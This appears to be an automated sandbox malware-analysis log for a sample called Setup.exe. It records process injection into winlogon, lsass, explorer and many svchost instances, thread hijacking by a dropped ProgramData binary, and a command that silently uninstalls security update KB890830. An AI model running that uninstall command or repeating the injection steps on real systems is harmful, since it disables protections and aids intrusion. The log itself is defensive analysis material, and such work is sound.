Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 2313273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\explorer.exe EIP: 253273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 497A273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\RuntimeBroker.exe EIP: AA92273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\RuntimeBroker.exe EIP: FBE5273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\RuntimeBroker.exe EIP: 44E5273C

Injects a PE file into a foreign processes

Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 1C8F78F0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 1BA8E920000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 12E36FA0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 28F8AE40000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 1C8F7960000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 1BA8E980000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 12E37000000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 28F8AE70000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22C35FA0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B3B9390000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23368CB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28B68F30000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 29BC8180000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 29D50F40000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AB7D2C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E9297D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A183790000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D564190000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CF6D790000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C2551B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 171ACBC0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 283C6530000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FF39B80000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D500190000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 257B5780000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1EAC63D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20428C60000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 15222280000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 16D24BB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 163535B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 14DE2730000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B3122B0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\spoolsv.exe base: 7A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 184E1BC0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 211FEB70000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28F03C70000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F3D2900000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F22EB90000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17780D60000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1647B460000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 224D0D90000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B924FB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 1570D1F0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1879E9D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 197DB9C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1DF6FFB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 229F9BD0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1392A290000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\sihost.exe base: 177AD190000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 227FBAE0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20620920000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 27AAC950000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 167425D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 234F1060000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 1A0BCB20000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dasHost.exe base: 28092350000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1586A4D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2E523130000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\explorer.exe base: 2530000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22D497A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 22AAA920000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1FEFBE50000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1F044E50000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 26AF0680000 value starts with: 4D5A

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\System32\dialer.exe

Memory written: PID: 4380 base: 2530000 value: 4D

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Thread register set: target process: 7144	Jump to behavior
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Thread register set: target process: 7112
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Thread register set: target process: 7120
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Thread register set: target process: 6444

Writes to foreign memory regions

Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 1C8F78F0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 1BA8E920000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 12E36FA0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 28F8AE40000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\dwm.exe base: 28F8ADF0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 1C8F7960000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 1BA8E980000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 12E37000000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 28F8AE70000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22C35FA0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B3B9390000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23368CB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28B68F30000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 29BC8180000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 29D50F40000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AB7D2C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E9297D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A183790000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D564190000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CF6D790000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C2551B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 171ACBC0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 283C6530000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FF39B80000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D500190000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 257B5780000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1EAC63D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20428C60000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 15222280000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 16D24BB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 163535B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 14DE2730000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B3122B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\spoolsv.exe base: 7A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 184E1BC0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 211FEB70000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28F03C70000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F3D2900000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F22EB90000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17780D60000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1647B460000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 224D0D90000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B924FB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 1570D1F0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1879E9D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 197DB9C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1DF6FFB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 229F9BD0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1392A290000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\sihost.exe base: 177AD190000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 227FBAE0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20620920000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 27AAC950000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 167425D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 234F1060000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 1A0BCB20000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dasHost.exe base: 28092350000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1586A4D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2E523130000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\explorer.exe base: 2530000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22D497A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 22AAA920000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1FEFBE50000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1F044E50000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 26AF0680000

Source: C:\Users\user\AppData\Local\Temp\Temp1_MDE_File_Sample_c7859a067082aa31648a9b8f2abd982c504dd0af.zip\Setup.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe
Source: C:\ProgramData\guqotihtvufx\jnxsifnrdetl.exe	Process created: C:\Windows\System32\dialer.exe dialer.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart

Source: C:\Windows\System32\dialer.exe

Code function: 41_2_0000000140001B54 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

41_2_0000000140001B54

Source: C:\Windows\System32\dialer.exe

Code function: 41_2_0000000140001B54 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

41_2_0000000140001B54

Source: dwm.exe, 00000039.00000000.1417995604.0000028F8575A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: winlogon.exe, 0000002F.00000000.1402626818.000001C8F7DB1000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 00000039.00000000.1419095064.0000028F85B94000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: winlogon.exe, 0000002F.00000000.1402626818.000001C8F7DB1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: winlogon.exe, 0000002F.00000000.1402626818.000001C8F7DB1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: bProgram Manager]
Source: winlogon.exe, 0000002F.00000000.1402626818.000001C8F7DB1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\System32\dasHost.exe

Code function: 131_2_00000280923942F0 cpuid

131_2_00000280923942F0

Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C: VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C: VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C: VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
